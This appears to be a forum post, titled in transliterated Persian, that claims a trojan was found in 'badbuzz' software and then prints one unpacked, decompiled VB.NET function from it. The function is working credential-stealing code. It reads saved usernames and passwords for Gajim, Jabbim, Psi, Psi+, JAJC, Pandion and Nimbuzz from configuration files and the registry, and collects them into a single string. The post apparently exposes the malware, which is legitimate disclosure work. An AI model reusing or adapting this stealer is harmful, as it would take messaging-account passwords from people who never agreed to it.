t.r.o.j.a.n dar soft haye badbuzz peyda shod | Unpacked - Decompiled | hamrah ba ax va sanad va madrak

Public Function method_3(ByVal string_0 As String) As String
    Dim flag As Boolean
    Dim flag2 As Boolean
    Dim str6 As String = ""
    Dim path As String = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\gajim\config")
    If flag = File.Exists(path) Then
        str6 = (str6 & Environment.NewLine & "------------gajim----------------" & Environment.NewLine)
        Dim strArray As String() = File.ReadAllText(path).Split(Environment.NewLine.ToCharArray)
        Dim num8 As Integer = (strArray.Length - 1)
        Dim i As Integer = 0
        Do While (i <= num8)
            If flag = (strArray(i).Trim <> "") Then
                If flag2 = (strArray(i).Contains("accounts.") AndAlso strArray(i).Contains(".password")) Then
                    str6 = (str6 & strArray(i) & Environment.NewLine)
                End If
                If flag2 = (strArray(i).Contains("accounts.") AndAlso strArray(i).Contains(".name")) Then
                    str6 = (str6 & strArray(i) & Environment.NewLine)
                End If
                If flag2 = (strArray(i).Contains("accounts.") AndAlso strArray(i).Contains(".hostname")) Then
                    str6 = (str6 & strArray(i) & Environment.NewLine)
                End If
            End If
            i += 1
        Loop
    End If
    path = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\jabbim\config")
    If flag2 = File.Exists(path) Then
        str6 = (str6 & Me.method_2(path))
    End If
    path = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\jabbim")
    If flag2 = Directory.Exists(path) Then
        Dim directories As String() = Directory.GetDirectories(path)
        Dim num9 As Integer = (directories.Length - 1)
        Dim j As Integer = 0
        Do While (j <= num9)
            If flag2 = directories(j).EndsWith("-profile") Then
                str6 = (str6 & Me.method_2((directories(j) & "\config")))
            End If
            j += 1
        Loop
    End If
    Dim str5 As String = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\Psi\profiles\default\accounts.xml")
    Dim str4 As String = ""
    If flag2 = File.Exists(str5) Then
        str6 = (str6 & Environment.NewLine & "------------psi----------------" & Environment.NewLine)
        Dim str9 As String = ""
        Dim strArray3 As String() = File.ReadAllText(str5).Split(Environment.NewLine.ToCharArray)
        Dim num10 As Integer = (strArray3.Length - 1)
        Dim k As Integer = 0
        Do While (k <= num10)
            If flag2 = (strArray3(k).Trim <> "") Then
                If flag = (strArray3(k).TrimStart(New Char(0  - 1) {}).StartsWith("<jid") AndAlso str4.StartsWith("<priority")) Then
                    str9 = strArray3(k).Trim
                    str9 = str9.Substring((str9.IndexOf(""">") + 2), ((str9.IndexOf("</") - str9.IndexOf(""">")) - 2))
                    str6 = (str6 & "u= " & str9 & Environment.NewLine)
                End If
                If flag2 = strArray3(k).TrimStart(New Char(0  - 1) {}).StartsWith("<password") Then
                    str9 = strArray3(k).Trim
                    str9 = str9.Substring((str9.IndexOf(""">") + 2), ((str9.IndexOf("</") - str9.IndexOf(""">")) - 2))
                    str6 = (str6 & "p= " & str9 & Environment.NewLine)
                End If
                str4 = strArray3(k).TrimStart(New Char(0  - 1) {})
            End If
            k += 1
        Loop
        str6 = (str6 & Environment.NewLine & "------------end psi ------------" & Environment.NewLine)
    End If
    str5 = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\Psi+\profiles\default\accounts.xml")
    str4 = ""
    If flag2 = File.Exists(str5) Then
        str6 = (str6 & Environment.NewLine & "------------psi+----------------" & Environment.NewLine)
        Dim str10 As String = ""
        Dim strArray4 As String() = File.ReadAllText(str5).Split(Environment.NewLine.ToCharArray)
        Dim num11 As Integer = (strArray4.Length - 1)
        Dim m As Integer = 0
        Do While (m <= num11)
            If flag2 = (strArray4(m).Trim <> "") Then
                If flag = (strArray4(m).TrimStart(New Char(0  - 1) {}).StartsWith("<jid") AndAlso str4.StartsWith("<ignore-global-actions")) Then
                    str10 = strArray4(m).Trim
                    str10 = str10.Substring((str10.IndexOf(""">") + 2), ((str10.IndexOf("</") - str10.IndexOf(""">")) - 2))
                    str6 = (str6 & "u= " & str10 & Environment.NewLine)
                End If
                If flag2 = strArray4(m).TrimStart(New Char(0  - 1) {}).StartsWith("<password") Then
                    str10 = strArray4(m).Trim
                    str10 = str10.Substring((str10.IndexOf(""">") + 2), ((str10.IndexOf("</") - str10.IndexOf(""">")) - 2))
                    str6 = (str6 & "p= " & str10 & Environment.NewLine)
                End If
                str4 = strArray4(m).TrimStart(New Char(0  - 1) {})
            End If
            m += 1
        Loop
        str6 = (str6 & Environment.NewLine & "------------end psi+ ------------" & Environment.NewLine)
    End If
    Dim key2 As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\ABstract Software\JAJC\Accounts\default", True)
    If flag2 = (Not key2 Is Nothing) Then
        Dim str12 As String = ""
        Dim str11 As String = ""
        str12 = key2.GetValue("user/name", "not found").ToString
        str11 = key2.GetValue("user/password", "not found").ToString
        If flag2 = ((str12 <> "not found") AndAlso (str11 <> "not found")) Then
            str6 = (str6 & Environment.NewLine & "---------- jajc start-----------------" & Environment.NewLine)
            str6 = (String.Concat(New String() { str6, "u= ", str12, Environment.NewLine, "p= ", str11 }) & Environment.NewLine & "---------- jajc end-----------------" & Environment.NewLine)
        End If
    End If
    str5 = (Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\Pandion\global.xml")
    If flag2 = File.Exists(str5) Then
        Dim str13 As String = ""
        Dim strArray5 As String() = File.ReadAllText(str5).Split(Environment.NewLine.ToCharArray)
        str6 = (str6 & Environment.NewLine & "--------------- pandion start---------------------" & Environment.NewLine)
        Dim num12 As Integer = (strArray5.Length - 1)
        Dim n As Integer = 0
        Do While (n <= num12)
            If flag2 = (strArray5(n).Trim <> "") Then
                If flag = strArray5(n).TrimStart(New Char(0  - 1) {}).StartsWith("<last_address>") Then
                    str13 = strArray5(n).Trim.Replace("<last_address>", "").Replace("</last_address>", "")
                    str6 = String.Concat(New String() { str6, Environment.NewLine, "u= ", str13, Environment.NewLine })
                End If
                If flag2 = strArray5(n).TrimStart(New Char(0  - 1) {}).StartsWith("<last_password>") Then
                    str13 = strArray5(n).Trim.Replace("<last_password>", "").Replace("</last_password>", "")
                    str6 = String.Concat(New String() { str6, Environment.NewLine, "p= ", str13, Environment.NewLine })
                End If
            End If
            n += 1
        Loop
        str6 = (str6 & Environment.NewLine & "--------------- pandion end---------------------" & Environment.NewLine)
    End If
    Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("software\Nimbuzz\PCClient\Application", True)
    Dim str7 As String = ""
    Dim str As String = ""
    If flag2 = (Not key Is Nothing) Then
        str = key.GetValue("Password", "not found").ToString
        str7 = key.GetValue("Username", "not found").ToString
        If flag2 = (str <> "not found") Then
            Dim startIndex As Integer = (str.IndexOf("("c) + 1)
            Dim length As Integer = (str.LastIndexOf(")"c) - startIndex)
            Dim str15 As String = str.Substring(startIndex, length)
            Dim str14 As String = Me.method_0(str15)
            str6 = ((str6 & Environment.NewLine & "----------------------------" & Environment.NewLine) & str7 & Environment.NewLine & str14)
        End If
    End If
    Return str6
End Function